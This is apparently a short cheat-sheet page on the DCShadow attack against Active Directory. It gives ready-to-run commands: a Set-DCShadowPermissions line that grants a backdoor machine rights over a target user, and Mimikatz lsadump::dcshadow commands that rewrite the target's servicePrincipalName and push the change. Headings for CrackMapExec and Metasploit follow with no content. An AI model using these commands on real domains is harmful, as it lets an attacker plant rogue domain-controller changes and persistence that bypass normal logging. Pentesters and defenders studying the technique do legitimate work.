🤖DCShadow

Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose

DCShadow using MimiKatz

lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
lsadump::dcshadow /push

DCShadow using CrackMapExec

DCShadow using Metasploit

Last updated